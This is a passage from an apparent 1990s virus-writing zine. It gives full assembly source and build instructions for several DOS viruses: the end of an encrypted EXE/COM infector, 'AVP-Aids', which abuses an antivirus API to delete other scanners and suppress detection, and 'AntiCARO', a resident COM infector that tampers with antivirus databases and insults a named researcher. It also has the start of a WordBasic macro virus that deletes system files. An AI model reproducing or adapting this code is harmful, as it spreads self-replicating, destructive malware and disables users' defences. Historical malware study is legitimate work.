mov byte ptr [ flag ], 00hmov ax , 3d02h ; Opens fileint 3hjc we_close

infect : xchg ax , bx

push cspop dsmov ah, 3fh ; Reads headermov cx , 01chlea dx , cabeceraint 3h

mov al ,byte ptr [ cabecera ] ; Makes comprobationsadd al ,byte ptr [ cabecera +1]cmp al , 'M' +'Z'jnz go_closecmp word ptr [ cabecera +18h ], 40hjz go_closecmp word ptr [ cabecera +1ah ], 0jnz go_close ; If it's all right, goes onjmp conti

go_close :mov ds , dimov dx , si

buscar_final : cmp byte ptr ds :[ si ], 0 ; Searches end in ds:sije chequeoinc sijmp buscar_final

chequeo :push cs ; Is it a .COM ?pop es

lea di , comtxtsub si , 3cmpswjne we_closejmp infeccion_com

we_close :jmp close

conti :mov ax , 5700h ; Time/date of filepush axint 3hpush dx cxand cl , 1fhxor cl , 1fhjz close_ant

call pointerantcmp ax , 0200hja contt

noinz : xor si , si ; To avoid changingjmp close_ant ;date of non-infected

;filescontt :

push axpop sishr ax , 4shl dx , 12add dx , axsub dx ,word ptr ds : cabecera +8push dx

and si , 0fhpush sicall copypop si

pop dxmov ds :word ptr [ cs_ip +2], dxinc dxmov ds :word ptr [ ss_sp ], dxmov ds :word ptr [ cs_ip ], simov ds :word ptr [ ss_sp +2],(( virus_size +100h - 15h )/ 2)* 2

call pointerant

mov cx , 200hdiv cxinc axmov word ptr [ cabecera +2], dxmov word ptr [ cabecera +4], axmov word ptr [ cabecera +0ah ],(( virus_size )/ 16)+ 10h

mov ax , 4200hcall pointermov cx , 1chlea dx , cabecerapush cspop dsmov ah, 40hint 3h

close_ant :pop cx dx axor si , sije closeinc axor cl , 1fhint 3h

close :

pop dx cx ax ; Attributesinc axint 21h

mov ah, 03ehint 3h

nahyuck :

pop ax dx ds ; Restores Int 24h y 3hint 3hpop ax dx dsint 3h

pop bp es ds di si dx cx bx axpopfjmp saltito

Pointerant :mov ax , 4202h

Pointer :xor cx , cxcwdint 3hret

;************************************************** **************************; COM INFECTION;************************************************** **************************

infeccion_com :

mov ax , 3d02h ; Openint 3hjc closexchg bx , ax

push cspop ds

mov byte ptr [ flag ], 1h ; To make the virus know it's;a com when restoring

mov ax , 5700h ; Time/datepush axint 3hpush dx cxand cl , 1fhxor cl , 1fhjz close_ant

quesiquevale :mov ah, 3fh ; Reads beggining of filemov cx , 3lea dx , ss_spint 3h

call pointerant ; Lenght checkcmp ax , 0200hja puedes_seguircmp ax ,( 0ffffh - virus_size - 100h )jna puedes_seguir

alnoin : jmp noinz

puedes_seguir :sub ax , 3mov word ptr [ cabecera ], ax

call copy ; Appending

mov ax , 4200hcall pointer

mov ah, 40h ; Jumping to code atlea dx , salt ;begginingmov cx , 3hint 3h

jmp close_ant

;************************************************** **************************; DATA;************************************************** **************************

autor : db 'Apocalyptic by Wintermute/29A'comtxt : db 'COM'flag : db 0salt : db 0e9hcabecera : db 0eh dup ( 90h )SS_SP: dw 0, offset virus_end +100hChecksum: dw 0CS_IP: dw offset host , 0Cequis : dw 0, 0, 0, 0

Encrypt_end label byte

copy :push cspop dsxor bp, bp ; Don't let bp fuck uscall encryptant ; Encryptsmov ah, 40h ; Copiesmov cx , virus_sizelea dx , letsrockint 3hcall deencrypt ; Deencryptsret

;************************************************** **************************; ENCRYPT ROUTINE;************************************************** **************************

encryptant :lea si , encrypt_end ; Encrypts

mov cx , encrypt_sizeenc_loop : mov dl ,byte ptr [ si ]

sub dl , 2hxor dl , 0f9hror dl , 4mov byte ptr [ si ], dldec siloop enc_loopret

deencrypt :lea si , encrypt_end +bp ; Deencryptsmov cx , encrypt_sizemov di , 8

encri : mov dl ,byte ptr [ si ]mov al , dlrol dl , 4xor dl , 0f9hadd dl , 2hmov byte ptr [ si ], dldec siloop encriret

Int24h : mov al , 3ret

Saltito : db 0eahint21h : dw 0, 0

virus_end label byte

tomacha :mov cs :word ptr encrypt_start - 2+bp, deencrypt - encrypt_startret

; This is cause I don't like putting a stupid flag,; this two commands won't be copied

CODIGO endsEND Letsrock

VSTACK segment para STACK 'Stack'

db 100h dup ( 90h )

ends

;; ÜÛÛÛÛ ÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ; AVP-Aids, ÛÛÛ Û ÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ; by Tcp/29A ÜÜÜÛ Ûß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ; ÛÛÛÜÜ ÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ; ÛÛÛÛÛ ÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ;; AVP is probably the best antivirus nowadays, but it's the most easily; foolable too :) One of its best advantages is tha t the user himself is; able to write his own detection and disinfection routines for any new; virus he may find. But a virus author could us e that facilities to; write a virus, don't you think? :);; All we need to have is the routine editor (AVPRO) which is included in; the registrated version of AVP (2.1 and above), o r the -older- one in-; cluded in the shareware version of AVP 2.0, which is the one i used.;; This routine editor gives us a lot of functions and structures we can; call. For more info on this, read their definit ions in a file named; DLINK.H which is included in AVP.;; Having access to the vectors of those functions, we may either change; or redirect them as a normal virus does with t he standard interrupt; vectors. We could write trojans, droppers, a stea lth routine, and even; a whole virus... imagination is the only limit yo u have ;);; As an example of this, i wrote a simple virus whi ch i named AVP-Aids,; because it works in the same way as the known dis ease does:;; - It destroys the organism defenses: deletes F-P rot, TbScan and Scan; when AVP tries to scan them.; - Favours the appearing of opportunist diseases: AVP won't detect any; virus (only a few using it heuristic scanner), so any virus, though; being a super-old one, will be able to infect t he system.;; I recommend the reading of the file USERGUID.DOC which is included in; the AVP pack for a better comprehension about the way AVP-Aids works.;; For getting a working dropper of AVP-Aids, first compile the next two; files (tasm /m /ml /q avp_dec.asm; tasm /m /ml /q avp_jmp.asm).;; **** File: AVP_DEC.ASM ************************** *********************

aids_decode segment byte public 'CODE'assume cs : aids_decode

_decode proc faraids proc far

push dspush bpmov bp, seg _Page_A ; Get AVP's data segmentmov ds , bples di , ds : _Page_A ; Get pointer to Page_Amov cx , 400h ; Length of Pagepush cxmov al , 1 ; If al=0 then AVP detects the Win95.Boza.A

; in a high number of files... rules :-DDDrep stosb ; Clear Page_A

les di , ds : _Page_Bpop cxpush cxrep stosb ; Clear Page_B

les di , ds : _Headerpop cxrep stosb ; Clear Header

push dspop eslds si , ds : _File_Name ; File scannedlodswcmp ax , '-f' ; Check for F-*.*je del_filecmp ax , 'bt' ; Check for TBSCANjne check_sclodsw

check_sc :cmp ax , 'cs' ; Check for SCANjne no_scanlodswcmp ax , 'na'jne no_scan

del_file :push espop dslds dx , ds : _File_Full_Namemov ah, 41hint 21h ; Delete file (F-Prot, Scan, TBScan)

no_scan :pop bppop dsxor ax , axretf ; Return to AVP (AX==0 <-> RCLEAN)

aids endp_decode endp

aids_decode ends

public _decodepublic aidsextrn _Page_A:dwordextrn _Page_B:dwordextrn _Header :dwordextrn _File_Name :dwordextrn _File_Full_Name :dwordend

; **** EOF: AVP_DEC.ASM *************************** *********************;; **** File: AVP_JMP.ASM ************************** *********************

aids_jmp segment byte public 'CODE'assume cs : aids_jmp

_jmp proc farcall far ptr aids ; call the aids procedureretf ; Return to AVP

_jmp endp

aids_jmp ends

public _jmpextrn aids :farend

; **** EOF: AVP_JMP.ASM *************************** *********************;; Now that we got their corresponding OBJ files, we load AVPRO and edit; a new viral database which we'll name AVP_AIDS.A VB. Add a File regis-; ter, and write the name and the commentary you w ant, it doesn't mind.; Now we link (Alt-L) an external routine. Choose A VP_DEC.OBJ and accept; the register.;; Because the second OBJ file makes a call to a pr ocedure of the first; one, we will need AVP to load in memory the data base we just created.; For this we must save this base and add it to the active ones by pres-; sing F4. Once we have done this, we must edit a gain AVP_AIDS.AVB and; add a jmp register. Now link AVP_JMP.OBJ as an e xternal routine, and; if everything is right we'll be able to save and exit.;; After doing all this, we must compile the virus itself: for doing it,; we must modify the database length equ (length_a ids) with the correct; value and follow the next steps:;; tasm /m avp_aids.asm; tlink avp_aids.obj; exe2bin avp_aids.exe avp_aids.com; copy /b 6nops.com+avp_aids.avb+avp_aids.com avp-a ids.com;; As *all_this* is quite hard to do, Mister Sandman has included a fully; compiled second generation of this virus in \FILE S :);; **** File: AVP_AIDS.ASM ************************* *********************;; Name: AVP-Aids; Author: Tcp / 29A; When: 6-April-96 : 1st implementation; November-96: Now doesn't hang AVP 2 .2x;; Where: Spain; Comments: A simple and lame virus to demostra te the; AVPRO API capabilities... to make v irii... ;); Also fools TBAV... (except this fir st generation)

LENGTH_AIDS equ 590 ; Place here the length of your base

avp_aids segment byte publicassume cs : avp_aids , ds : avp_aids , ss : avp_aidsorg 0

start :call get_delta

next :

avp_set db 'AVp.SeT' , 0base db 'KRN386.AVB' , 13, 10f_base db 'kRn386.aVb' , 0f_mask db '*.cOm' , 0_format db 'c:\DoS\fORmaT.cOM' , 0

six db 0cdh , 20h ,?,?,?,? ; Original bytesjmp_vir db 'PK' ; Fools TBScan

pop bx ; Fix ('PK'= push ax, dec bx)db 0e9h ; jmp

ofs_vir dw ?

db '[AVP-Aids, Tcp / 29A]'

get_delta :mov di , 100hpop bppush disub bp, offset ( next ) ; Get delta-offsetmov di , 100hpush dilea si ,[ bp+six ]movswmovswmovsw ; Restore infected filemov ah, 2fhint 21h ; Get DTApush espush bxlea dx ,[ bp+offset ( dta )]mov ah, 1ahint 21h ; Set DTAmov ah, 4ehxor cx , cxlea dx ,[ bp+f_mask ]int 21h ; Find-first *.comjc check_for_formatlea dx ,[ bp+offset ( dta )+ 1eh ]call infect_file

check_for_format :lea dx ,[ bp+offset ( _format )] ; Try to infect c:\dos\format.comcall infect_file

mov ax , 3d00h ; Search for avp.setlea dx ,[ bp+avp_set ]int 21hjc exec_hostxchg ax , bxmov ah, 3fhlea dx ,[ bp+dta ]mov cx , 666h ;-)int 21hpush ax ; length(AVP.SET)mov ah, 3ehint 21h ; Close filemov ah, 3chxor cx , cxlea dx ,[ bp+f_base ]int 21h ; Create krn386.avb (viral database)xchg ax , bxmov ah, 40hpush axlea dx ,[ bp+base ]mov cx , offset ( f_base )- offset ( base )int 21h ; Write base name in filepop axlea dx ,[ bp+dta ]pop cxint 21h ; Write rest of AVP.SETmov ah, 3ehint 21hmov ah, 41hlea dx ,[ bp+avp_set ]int 21h ; Delete AVP.SETmov ah, 56hmov di , dx

lea dx ,[ bp+f_base ]int 21h ; Rename krn386.avb to AVP.SETmov ah, 3chxor cx , cxint 21h ; Reset krn386.avbxchg ax , bxmov ah, 40hlea dx ,[ bp+aids_base ]mov cx , LENGTH_AIDSint 21h ; Write the AVP-AIDS basemov ah, 3ehint 21h

exec_host :pop dxpop dsmov ah, 1ahint 21h ; Restore DTApush cspush cspop dspop esret

infect_file :mov ax , 3d02hint 21h ; Openjc no_filexchg ax , bxmov ah, 3fhmov cx , 6lea dx ,[ bp+offset ( six )]int 21h ; Read 6 bytescmp ax , cx ; File >6 bytes?jne close_file ; No? ten jmpcmp word ptr [ bp+six ], 'ZM' ; EXE file but .com extension?je close_file ; Yes? then jmpcmp word ptr [ bp+six ], 'KP' ; Already infected?je close_file ; Yes? then jmpmov ax , 4202hcwdxor cx , cxint 21h ; Go endmov ah, 40hmov dx , bpmov cx , offset ( vir_end )int 21h ; Write virusmov ax , 4200hcwdxor cx , cxint 21h ; Go startmov ax ,[ bp+offset ( dta )+ 1ah ] ; File sizesub ax , 6mov [ bp+ofs_vir ], axmov ah, 40hlea dx ,[ bp+jmp_vir ]mov cx , 6int 21h ; Write jump to virusmov ax , 5701hmov cx ,[ bp+offset ( dta )+ 16h ] ; Timemov dx ,[ bp+offset ( dta )+ 18h ] ; Dateint 21h ; Set time/date to original

close_file :mov ah, 3eh

int 21h ; Close fileno_file :

ret

aids_base db LENGTH_AIDS dup(?)

vir_end :

dta :

avp_aids endsend start

;; ÜÛÛÛÛ ÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ; AntiCARO ÛÛÛ Û ÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ; by Mister Sandman/29A ÜÜÜÛ Ûß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ; ÛÛÛÜÜ ÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ; ÛÛÛÛÛ ÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ;; As i don't agree with CARO and with the way the n ame viruses, and spe-; cially the way they *misnamed* VLAD's Bizatch, i decided to write this; virus... just to protest against the biggest di ckhead under the sun,; Vesselin Bonchev, the virus-baptizer who does wha tever he wants making; abuse of his 'power' in that fucking sect named C ARO.;; And as i know that, albeit he works at Frisk, his favourite AV is AVP,; i just took the decission to write this baby, whi ch will modify AVP so; it will detect Bizatch as 'Bizatch_:P' and not as Boza.;; The virus is lame as hell (but i swear i wasn't a ble to reach Ratboy's; or YAM's coding skills)... i only developed its originality. Anyway,; it's interesting to see how does it modify AVP:;; It looks for AVP.SET in the current directory it' s being loaded from.; If it finds that file, it will insert a new vira l database in the se-; cond field, and later it will drop that new dat abase, which contains; the data needed for detecting Bizatch from AVP (h ave a look at the co-; de, which is found at the end of this virus).;; As this new viral database has been loaded bef ore the rest of the; other databases (except of KERNEL.AVB, which must be always loaded in; the first place), it will be the first one contai ning Bizatch's search; strings, so it will be the fortunate participant to show the name of; the virus it has detected :);; About the virus itself, as i told before, it's a lame TSR COM infec-; tor which hits files on execution (4b00h) and use s SFTs for performing; the file infection.;; This virus is dedicated to my friends Quantum a nd Qark (ex VLAD) for; obvious reasons and to Tcp/29A because of his hel p on its writing.;; Compiling instructions:;; tasm /m anticaro.asm; tlink anticaro.obj; exe2bin anticaro.exe anticaro.com

anticaro segment byte publicassume cs : anticaro , ds : anticaroorg 0

anticaro_start label byteanticaro_size equ anticaro_end - anticaro_start

entry_point : call delta_offsetdelta_offset : pop bp ; Get ë-offset

sub bp, offset delta_offset ; for l8r use

mov ax , 3d02h ; Try to open AVP.SETlea dx ,[ bp+avp_set ] ; if it's found in theint 21h ; current directoryjc mem_res_check

xchg bx , axmov ah, 3fh ; Read the whole filemov cx , 29Ah ;-)lea dx ,[ bp+anticaro_end ]int 21hpush ax

mov ax , 4200h ; Lseek to the secondxor cx , cx ; line (first mustmov dx , 0ch ; be always KERNEL.AVB)int 21h

mov ah, 40h ; Truncate file fromxor cx , cx ; current offsetint 21h

mov ah, 40h ; Write our viralmov cx , 0dh ; database namelea dx ,[ bp+bizatch_name ] ; (BIZATCH.AVB) asint 21h ; second field

mov ah, 40h ; And write the restpop cx ; of the originalsub cx , 0ch ; AVP.SET we read b4lea dx ,[ bp+anticaro_end +0ch ] ; to our bufferint 21h

mov ah, 3eh ; Close fileint 21h

mov ah, 3ch ; Create the new viralxor cx , cx ; database (BIZATCH.AVB)lea dx ,[ bp+bizatch_base ] ; which contains Bizatch'sint 21h ; detection data

xchg bx , axmov ah, 40h ; Write the databasemov cx , base_size ; contents in the newlea dx ,[ bp+bizatch_avb ] ; created fileint 21h

mov ah, 3eh ; Close fileint 21h

mem_res_check : mov ax , 'CA' ; Check if we're alreadymov bx , 'RO' ; memory residentint 21h

cmp ax , 'SU' ; Coolio residencycmp bx , 'X!' ; check... CARO SUX! :Pje nothing_to_do

install : mov ax , esdec axmov ds , ax ; Program's MCB segmentxor di , di

cmp byte ptr ds :[ di ], 'Y' ; Is it a Z block?jna nothing_to_do

sub word ptr ds :[ di +3],(( anticaro_size / 10h )+ 2)sub word ptr ds :[ di +12h ],(( anticaro_size / 10h )+ 2)add ax ,word ptr ds :[ di +3]

inc ax

mov ds , axmov byte ptr ds :[ di ], 'Z' ; Mark block as Zmov word ptr ds :[ di +1], 8 ; System memorymov word ptr ds :[ di +3],(( anticaro_size / 10h )+ 1)mov word ptr ds :[ di +8], 4f44h ; Mark block as ownedmov word ptr ds :[ di +0ah ], 0053h ; by DOS (44h-4fh-53h,0)inc ax

cldpush cspop dsmov es , ax ; Copy virus to memorymov cx , anticaro_sizelea si ,[ bp+anticaro_start ]rep movsb

push dsmov ds , cxmov es , ax ; Save int 21h'smov si , 21h* 4 ; original vectorlea di , old_int_21h +1movswmovsw

mov word ptr [ si - 4], offset new_int_21hmov word ptr [ si - 2], ax ; Set ours

pop dspush ds ; CS=DS=ESpop es

nothing_to_do : lea si ,[ bp+host_header ] ; Restore host's headermov di , 100h ; and jump to cs:100hpush di ; for running itmovswmovswret

; **´ note_to_stupid_avers ;) Ã******************** ***********************

copyright db 0dh , 0ah , '[AntiCARO, by Mister Sandman/29A]' , 0dh , 0ahdb 'Please note: the name of this virus is [AntiCARO] 'db 'written by Mister Sandman of 29A... but... dear 'db 'Bontchy... name it however *you* (and not CARO) wa nt,'db ' as usual; we just don''t mind your childish 'db 'stupidity :)' , 0dh , 0ah

; **´ AntiCARO's int 21h handler Ã***************** ***********************

new_int_21h : cmp ax , 'CA' ; Residency checkjnz execution? ; Are they asking mycmp bx , 'RO' ; opinion about CARO?jnz execution?

mov ax , 'SU' ; Ok, CARO SUX! :Pmov bx , 'X!'iret

execution? : cmp ax , 4b00h ; This is the momentje check_name ; we were waiting for ;)''

old_int_21h : db 0eah ; jmp xxxx:xxxxdw 0, 0 ; Original int 21h

; **´ Infection routines Ã************************* ***********************

check_name : push ax bx cx dx ; Push all this shitpush si di ds es ; and clear directioncld ; flag

mov ax , 3d00h ; Open the file isint 21h ; about to be executed

xchg bx , axcall get_sft ; Get its SFTjc dont_infect ; Shit... outta here

push cs ; CS=DSpop ds

mov ax ,word ptr es :[ di +28h ] ; Check extensioncmp ax , 'OC' ; There aren't too manyje check_file ; 'COx' executables

; besides COMs, right? :)

dont_infect : pop es ds di si ; Pop out registers andpop dx cx bx ax ; jmp to the originaljmp old_int_21h ; int 21h handler

check_file : xor al , al ; Clear and save filexchg al ,byte ptr es :[ di +4] ; attributespush ax

mov word ptr es :[ di +2], 2 ; Set read/write mode

mov ah, 3fh ; Read first fourmov cx , 4 ; bytes to our bufferlea dx , host_headerint 21h

mov ax ,word ptr host_header ; First word in AXadd al , ah ; M+Z or Z+M=0a7h :)cmp al , 0a7h ; So is it an EXE file?je close_file ; Fuck it

cmp byte ptr host_header +3, 90h ; Check file for anyje close_file ; previous infection

mov ax ,word ptr es :[ di +11h ] ; Check file lengthcmp ax , 0faebh ; > 64235?ja close_file

push ax ; Save lengthsub ax , 3 ; Make the initial

mov word ptr new_header +1, ax ; jmp to our code

mov word ptr es :[ di +15h ], 0 ; Lseek to the start

mov ah, 40h ; Write in our coolermov cx , 4 ; header :)lea dx , new_headerint 21h

pop ax ; Lseek to the end

mov word ptr es :[ di +15h ], ax ; of the file

mov ah, 40h ; Append our codemov cx , anticaro_size ; Huh? where's thelea dx , anticaro_start ; call to the polyint 21h ; engine? :)

close_file : mov ah, 3eh ; Close our victimint 21h

pop ax ; Restore attributesmov byte ptr es :[ di +4], al ; Pop shit and jumpjmp dont_infect ; to the original int 21h

; **´ Subroutines... or... oh, well, subroutine :) Ã**********************

get_sft : push ax bxmov ax , 1220h ; Get job file tableint 2fh ; in ES:DI (DOS 3+)jc bad_sft

xor bx , bx ; Get the address ofmov ax , 1216h ; the specific SFT formov bl ,byte ptr es :[ di ] ; our handleint 2fh

bad_sft : pop bx ax ; Pop registers andret ; return to the code

; **´ Data area Ã********************************** ***********************

host_header db 0cdh , 20h , 90h , 90h ; Host's headernew_header db 0e9h ,?,?, 90h ; New header bufferavp_set db 'avp.set' , 0 ; Can't you guess it? :)bizatch_name db 'BIZATCH.AVB' , 0dh , 0ah ; Our database fieldbizatch_base db 'bizatch.avb' , 0 ; Viral database name

; **´ BIZATCH.AVB viral database Ã***************** ***********************;; The hex dump below is the AVP full-compatible vi ral database which con-; tains the necessary data for detecting Bizatch. This was done by compi-; ling the 'belower' code, linking it to a new AV PRO record, and filling; out some of this record's data fields. These are the steps:;; - Compile the source below this hex dump: tasm /m /ml /q biz_dec.asm.; - Execute AVP's AVPRO.EXE.; - Edit a new viral dabase (Alt-E, F3, and then ty pe 'bizatch.avb').; - Insert a file record in it (Alt-I, and then sel ect 'File virus').; - Fill the form as follows:;; ÉÍ[þ]ÍÍÍÍÍÍÍÍÍÍÍ File virus ÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍ»; º Name: Bizatch_:P Type [ ] COM º; º Comment: Fuck you, Bontchy [X ] EXE º; º [ ] SYS º; º Area 1 Header [ ] WIN º; º Offset 0000 º; º Length 00 Method Delet e º; º Area 2 Page_C Area Heade r º; º Offset 0000 From +0000 º; º Length 0a Length +0000 º; º To +0000 º; > º Link Ü +0000 º; º ßßßßßß Cut 0000 º

; > º Sum Ü 00000000 º; º ßßßßßß 00000000 º; º º; º Ok Ü Cancel Ü º; º ßßßßßßßßßß ßßßßßßßßßß º; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍͼ;; - Link biz_dec.obj (Alt-L, and then select it).; - Type in Bizatch's entry point for calculating its sum (Alt-S, don't; select any file, and type in 'e8 00 00 00 00 5d 8b c5 2d 05' in the; dump gap AVPRO will show you.; - Save the new record and the new viral database.;; As you see, this is quite tedious to do, and th at's why i included di-; rectly the hex dump of the result of all these s teps, which seems to me; a bit more easy for you :);; So skip the hex dump and have a look at biz_dec.a sm's code, which is the; really important thing of this virus.

base_start label bytebase_size equ base_end - base_start - 3bizatch_avb db 2dh , 56h , 0c2h , 00h , 00h , 00h , 00h , 01h , 0cch , 07h , 04h

db 0bh , 0cch , 07h , 10h , 0bh , 00h , 00h , 01h , 00h , 00h , 00h , 00hdb 00h , 0dh , 0ah , 41h , 6eh , 74h , 69h , 76h , 69h , 72h , 61h , 6chdb 20h , 54h , 6fh , 6fh , 6ch , 4bh , 69h , 74h , 20h , 50h , 72h , 6fhdb 0dh , 0ah , 20h , 62h , 79h , 20h , 45h , 75h , 67h , 65h , 6eh , 65hdb 20h , 4bh , 61h , 73h , 70h , 65h , 72h , 73h , 6bh , 79h , 20h , 0dhdb 0ah , 28h , 63h , 29h , 4bh , 41h , 4dh , 49h , 20h , 43h , 6fh , 72hdb 70h , 2eh , 2ch , 20h , 52h , 75h , 73h , 73h , 69h , 61h , 20h , 31hdb 39h , 39h , 32h , 2dh , 31h , 39h , 39h , 35h , 2eh , 0dh , 0ah , 50hdb 72h , 6fh , 67h , 72h , 61h , 6dh , 6dh , 65h , 72h , 73h , 3ah , 0dhdb 0ah , 41h , 6ch , 65h , 78h , 65h , 79h , 20h , 4eh , 2eh , 20h , 64hdb 65h , 20h , 4dh , 6fh , 6eh , 74h , 20h , 64h , 65h , 20h , 52h , 69hdb 71h , 75h , 65h , 2ch , 0dh , 0ah , 45h , 75h , 67h , 65h , 6eh , 65hdb 20h , 56h , 2eh , 20h , 4bh , 61h , 73h , 70h , 65h , 72h , 73h , 6bhdb 79h , 2ch , 0dh , 0ah , 56h , 61h , 64h , 69h , 6dh , 20h , 56h , 2ehdb 20h , 42h , 6fh , 67h , 64h , 61h , 6eh , 6fh , 76h , 2eh , 0dh , 0ahdb 0dh , 0ah , 00h , 0dh , 0ah , 38h , 00h , 00h , 00h , 10h , 00h , 42hdb 69h , 7ah , 61h , 74h , 63h , 68h , 5fh , 3ah , 50h , 00h , 00h , 00hdb 00h , 00h , 00h , 00h , 00h , 00h , 00h , 00h , 00h , 00h , 00h , 03hdb 00h , 00h , 0ah , 0fh , 0feh , 0ffh , 0ffh , 01h , 00h , 00h , 00h , 00hdb 00h , 00h , 00h , 0ch , 00h , 00h , 00h , 00h , 00h , 00h , 00h , 00h , 00hdb 00h , 00h , 00h , 00h , 0dh , 01h , 12h , 00h , 00h , 00h , 46h , 75h , 63hdb 6bh , 20h , 79h , 6fh , 75h , 2ch , 20h , 42h , 6fh , 6eh , 74h , 63h , 68hdb 79h , 00h , 0dh , 02h , 01h , 01h , 00h , 00h , 98h , 07h , 00h , 28h , 86hdb 00h , 02h , 03h , 01h , 0adh , 8ch , 21h , 00h , 07h , 5fh , 50h , 61hdb 67h , 65h , 5fh , 43h , 00h , 07h , 5fh , 48h , 65h , 61h , 64h , 65hdb 72h , 00h , 05h , 5fh , 53h , 65h , 65h , 6bh , 00h , 05h , 5fh , 52hdb 65h , 61h , 64h , 00h , 53h , 90h , 0eh , 00h , 00h , 01h , 07h , 5fhdb 64h , 65h , 63h , 6fh , 64h , 65h , 00h , 00h , 00h , 97h , 0a0h , 8ahdb 00h , 01h , 00h , 00h , 1eh , 55h , 0bdh , 00h , 00h , 8eh , 0ddh , 0c4hdb 3eh , 00h , 00h , 26h , 8bh , 6dh , 3ch , 33h , 0c0h , 50h , 55h , 9ahdb 00h , 00h , 00h , 00h , 58h , 58h , 0c4h , 3eh , 00h , 00h , 0b8h , 0f8hdb 00h , 50h , 06h , 57h , 9ah , 00h , 00h , 00h , 00h , 83h , 0c4h , 06hdb 0c4h , 3eh , 00h , 00h , 26h , 81h , 3dh , 50h , 45h , 75h , 29h , 26hdb 8bh , 4dh , 06h , 51h , 0b8h , 28h , 00h , 50h , 06h , 57h , 9ah , 00hdb 00h , 00h , 00h , 83h , 0c4h , 06h , 59h , 0c4h , 3eh , 00h , 00h , 26hdb 81h , 3dh , 76h , 6ch , 75h , 08h , 26h , 81h , 7dh , 02h , 61h , 64hdb 74h , 07h , 0e2h , 0dbh , 33h , 0c0h , 5dh , 1fh , 0cbh , 26h , 0c4hdb 7dh , 14h , 06h , 57h , 9ah , 00h , 00h , 00h , 00h , 58h , 58h , 0c4hdb 3eh , 00h , 00h , 0b8h , 0ah , 00h , 50h , 06h , 57h , 9ah , 00h , 00h

db 00h , 00h , 83h , 0c4h , 06h , 0ebh , 0dah , 9ah , 9ch , 2dh , 00hdb 0c8h , 03h , 56h , 02h , 0c4h , 09h , 56h , 02h , 0cch , 14h , 56hdb 03h , 0c4h , 1ch , 56h , 01h , 0cch , 25h , 56h , 04h , 0c4h , 2ehdb 56h , 01h , 0cch , 43h , 56h , 04h , 0c4h , 4dh , 56h , 01h , 0cchdb 6ch , 56h , 03h , 0c4h , 74h , 56h , 01h , 0cch , 7dh , 56h , 04h , 57hdb 8ah , 02h , 00h , 00h , 74h

base_end label byte

; **´ Bizatch's detection code Ã******************* ***********************;; biz_dec segment byte public 'code'; assume cs:biz_dec;ds:biz_dec;es:bi z_dec;ss:biz_dec;; _decode proc far; push ds bp; mov bp,seg _Header ; Get AVP's data segment; mov ds,bp;; les di,_Header ; Get pointer to header; mov bp,word ptr es:[di+3ch] ; Get PE header offset; xor ax,ax;; push ax bp; call far ptr _Seek ; Lseek to PE header; pop ax ax ; Remove 2 words from stack;; les di,_Page_C ; Destination=buffer; mov ax,0f8h ; Size=f8h bytes;; push ax es di ; Read f8h bytes from; call far ptr _Read ; the PE header;; add sp,6 ; Remove 3 words from stack; les di,_Page_C ; The call changes ES; cmp word ptr es:[di],'EP' ; Portable Executable?; jne back_to_avp;; mov cx,word ptr es:[di+6] ; Objects number; next_entry: push cx;; mov ax,28h ; Length of each; push ax es di ; object table entry; call far ptr _Read ; Read object;; add sp,6 ; Remove 3 words from stack; pop cx; les di,_Page_C ; Point to our buffer; cmp word ptr es:[di],'lv' ; vl(ad) object?; jne search_loop;; cmp word ptr es:[di],'da' ; (vl)ad object?; je lseek_object ; Bingo! :);; search_loop: loop next_entry ; Process next object;; back_to_avp: xor ax,ax ; R_CLEAN==0; pop bp ds ; Return to AVP; retf;; lseek_object: les di,dword ptr es:[di+14h] ; Lseek to the object; push es di ; physical offset; call far ptr _Seek;

; pop ax ax; mov ax,0ah ; Read ten bytes to; les di,_Page_C ; our buffer (page C); push ax es di; call far ptr _Read;; add sp,6 ; And now AVP will compare; jmp back_to_avp ; those ten bytes with; _decode endp ; Bizatch's search string; biz_decode ends;; public _decode; extrn _Page_C:dword ; External AVP's API; extrn _Header:dword ; functions and buffers; extrn _Seek:far ; (lseek, read, header,; extrn _Read:far ; read buffer...); end

anticaro_end label byteanticaro ends

end anticaro_start

'' ÜÛÛÛÛ ÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ' Galicia Kalidade ÛÛÛ Û ÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ' (@) MaD MoTHeR TeaM ÜÜÜÛ Ûß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ' ÛÛÛÜÜ ÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ' ÛÛÛÛÛ ÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ'' This baby is the smallest macro virus ever (as fa r as i know). I wrote it' as a code example of the VBA language tutorial published in this issue.'' It's an encrypted WinWord infector which infects on AutoClose and... look' at this... it's the unique virus in the world wh ich infects by 'doing' a' dir a:... but not in the way you're supposing ;-)'' On AutoClose, it copies itself and checks the closed document for the' words 'dir a:', ignoring any case or font... if such string is found, it' will delete MSDOS.SYS and IO.SYS and then display a message box.'' Btw, as this is the first spanish macro virus, i decided to write it so' it will work only under spanish versions of WinWo rd :-)

Sub Mainnombre$ = NombreVentana$() + ":AutoClose"MacroCopiar nombre$, "Global:AutoClose" , 1ArchivoGuardarComo .Format = 1MacroCopiar "Global:AutoClose" , nombre$, 1PrincipioDeDocumentoEdici¢nBuscarEliminarFormatoEdici¢nBuscar .Buscar = "DIR A:" , .PalabraCompleta = 0, \

.CoincidirMay£sMin£s = 0, .Direcciones = 0, \

.Ajuste = 0If Edici¢nBuscarEncontrado() <> 0 Then

FijarAtributos "C:\IO.SYS" , 0Fijar Atributos "C:\MSDOS.SYS" , 0Kill "C:\IO.SYS"Kill "C:\MSDOS.SYS"MsgBox "El virus Galicia Kalidade ha actuado" , \

